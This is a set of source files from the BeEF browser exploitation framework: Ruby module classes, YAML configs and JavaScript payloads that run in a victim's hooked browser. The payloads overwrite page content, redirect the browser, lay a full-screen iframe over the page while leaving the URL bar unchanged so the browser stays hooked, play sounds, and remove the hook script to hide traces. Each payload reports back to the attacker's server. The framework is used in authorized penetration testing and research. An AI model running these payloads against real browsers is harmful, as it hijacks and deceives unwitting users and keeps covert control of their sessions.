# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Remove_stuck_iframes < BeEF::Core::Command def post_execute content = {} content['head'] = @datastore['head'] content['body'] = @datastore['body'] content['iframe_'] = @datastore['iframe_'] save content end end
JavaScript
beef/modules/browser/hooked_domain/replace_video/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { $j('<%= @jquery_selector %>').each(function(){ var width = $j(this).css('width'); var height = $j(this).css('height'); $j(this).replaceWith('<embed src="http://www.youtube.com/v/<%= @youtube_id %>?fs=1&amp;hl=en_US&amp;autoplay=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="' + width + '" height="' + height + '">'); }); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Replace Video Successful"); });
YAML
beef/modules/browser/hooked_domain/replace_video/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: replace_video: enable: true category: ["Browser", "Hooked Domain"] name: "Replace Videos" description: "Replaces an object selected with jQuery (all embed tags by default) with an embed tag containing the youtube video of your choice (rickroll by default)." authors: ["Yori Kvitchko", "antisnatchor"] target: user_notify: ['ALL']
Ruby
beef/modules/browser/hooked_domain/replace_video/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Replace_video < BeEF::Core::Command def self.options [ { 'name' => 'youtube_id', 'ui_label' => 'YouTube Video ID', 'value' => 'XZ5TajZYW6Y', 'width' => '150px' }, { 'name' => 'jquery_selector', 'ui_label' => 'jQuery Selector', 'value' => 'embed', 'width' => '150px' } ] end def post_execute content = {} content['Result'] = @datastore['result'] save content end end
JavaScript
beef/modules/browser/hooked_domain/rickroll/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { $j('body').html(''); $j('body').css({'padding':'0px', 'margin':'0px', 'height':'100%'}); $j('html').css({'padding':'0px', 'margin':'0px', 'height':'100%'}); $j('body').html('<iframe width="100%" height="100%" src="//www.youtube.com/embed/DLzxrzFCyOs?autoplay=1" allow="autoplay; encrypted-media" frameborder="0" allowfullscreen></iframe>'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Rickroll Successful"); });
YAML
beef/modules/browser/hooked_domain/rickroll/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: rickroll: enable: true category: ["Browser", "Hooked Domain"] name: "Redirect Browser (Rickroll)" description: "Overwrite the body of the page the victim is on with a full screen Rickroll." authors: ["Yori Kvitchko"] target: user_notify: ['ALL']
Ruby
beef/modules/browser/hooked_domain/rickroll/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Rickroll < BeEF::Core::Command def post_execute content = {} content['Result'] = @datastore['result'] save content end end
JavaScript
beef/modules/browser/hooked_domain/site_redirect/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { window.location = "<%= @redirect_url %>"; beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Redirected to: <%= @redirect_url %>'); });
YAML
beef/modules/browser/hooked_domain/site_redirect/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: site_redirect: enable: true category: ["Browser", "Hooked Domain"] name: "Redirect Browser" description: "This module will redirect the selected hooked browser to the address specified in the 'Redirect URL' input." authors: ["wade", "vo"] target: user_notify: ["ALL"]
Ruby
beef/modules/browser/hooked_domain/site_redirect/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Site_redirect < BeEF::Core::Command def self.options [ { 'ui_label' => 'Redirect URL', 'name' => 'redirect_url', 'description' => 'The URL the target will be redirected to.', 'value' => 'http://beefproject.com/', 'width' => '200px' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/browser/hooked_domain/site_redirect_iframe/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var result = 'Iframe successfully created!'; var title = '<%= @iframe_title %>'; var iframe_src = '<%= @iframe_src %>'; var iframe_favicon = '<%= @iframe_favicon %>'; var sent = false; $j("iframe").remove(); beef.dom.createIframe('fullscreen', {'src':iframe_src}, {}, function() { if(!sent) { sent = true; document.title = title; beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result); } }); document.body.scroll = "no"; document.documentElement.style.overflow = 'hidden'; beef.browser.changeFavicon(iframe_favicon); setTimeout(function() { if(!sent) { result = 'Iframe failed to load, timeout'; beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result); document.title = iframe_src + " is not available"; sent = true; } }, <%= @iframe_timeout %>); });
YAML
beef/modules/browser/hooked_domain/site_redirect_iframe/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: site_redirect_iframe: enable: true category: ["Browser", "Hooked Domain"] name: "Redirect Browser (iFrame)" description: "This module creates a 100% x 100% overlaying iframe and keeps the browers hooked to the framework. The content of the iframe, page title, page shortcut icon and the time delay are specified in the parameters below.<br><br>The content of the URL bar will not be changed in the hooked browser." authors: ["ethicalhack3r", "Yori Kvitchko"] target: user_notify: ["ALL"]
Ruby
beef/modules/browser/hooked_domain/site_redirect_iframe/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Site_redirect_iframe < BeEF::Core::Command def self.options @configuration = BeEF::Core::Configuration.instance proto = @configuration.beef_proto beef_host = @configuration.beef_host beef_port = @configuration.beef_port base_host = "#{proto}://#{beef_host}:#{beef_port}" favicon_uri = "#{base_host}/ui/media/images/favicon.ico" [ { 'name' => 'iframe_title', 'description' => 'Title of the iFrame', 'ui_label' => 'New Title', 'value' => 'BeEF - The Browser Exploitation Framework Project', 'width' => '200px' }, { 'name' => 'iframe_favicon', 'description' => 'Shortcut Icon', 'ui_label' => 'New Favicon', 'value' => favicon_uri, 'width' => '200px' }, { 'name' => 'iframe_src', 'description' => 'Source of the iFrame', 'ui_label' => 'Redirect URL', 'value' => 'http://beefproject.com/', 'width' => '200px' }, { 'name' => 'iframe_timeout', 'description' => 'iFrame timeout', 'ui_label' => 'Timeout', 'value' => '3500', 'width' => '150px' } ] end # This method is being called when a hooked browser sends some # data back to the framework. # def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/browser/play_sound/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var url = "<%== @sound_file_uri %>"; try { var sound = new Audio(url); sound.play(); beef.debug("[Play Sound] Played sound successfully: " + url); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Sound Played", beef.are.status_success()); } catch (e) { beef.debug("[Play Sound] HTML5 audio unsupported. Could not play: " + url); beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=audio not supported", beef.are.status_error()); } });
YAML
beef/modules/browser/play_sound/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: Play_sound: enable: true category: "Browser" name: "Play Sound" description: "Play a sound on the hooked browser." authors: ["Saafan"] # http://caniuse.com/audio target: working: ["All"] not_working: IE: min_ver: 1 max_ver: 8 FF: min_ver: 1 max_ver: 2 S: min_ver: 1 max_ver: 3
Ruby
beef/modules/browser/play_sound/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Play_sound < BeEF::Core::Command def self.options [{ 'name' => 'sound_file_uri', 'description' => 'The web accessible URI for the wave sound file.', 'ui_label' => 'Sound File Path', 'value' => '', 'width' => '300px' }] end def post_execute content = {} content['result'] = @datastore['result'] save content end end
JavaScript
beef/modules/browser/remove_hook_element/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { /** * Removes the BeEF hook.js * @return: true if the hook.js script is removed from the DOM */ var removeHookElem = function() { var removedFrames = $j('script[src*="'+beef.net.hook+'"]').remove(); if (removedFrames.length > 0) { return true; } else { return false; } } if (removeHookElem() == true) { beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=successfully removed the hook script element"); } else { beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=something did not work"); } });
YAML
beef/modules/browser/remove_hook_element/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: remove_hook_element: enable: true category: "Browser" name: "Remove Hook Element" description: "This module removes the BeEF hook script element from the hooked page, but the underlying BeEF DOM object remains." authors: ["xntrik"] target: working: ["All"]
Ruby
beef/modules/browser/remove_hook_element/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Remove_hook_element < BeEF::Core::Command def post_execute content = {} content['result'] = @datastore['result'] unless @datastore['result'].nil? save content end end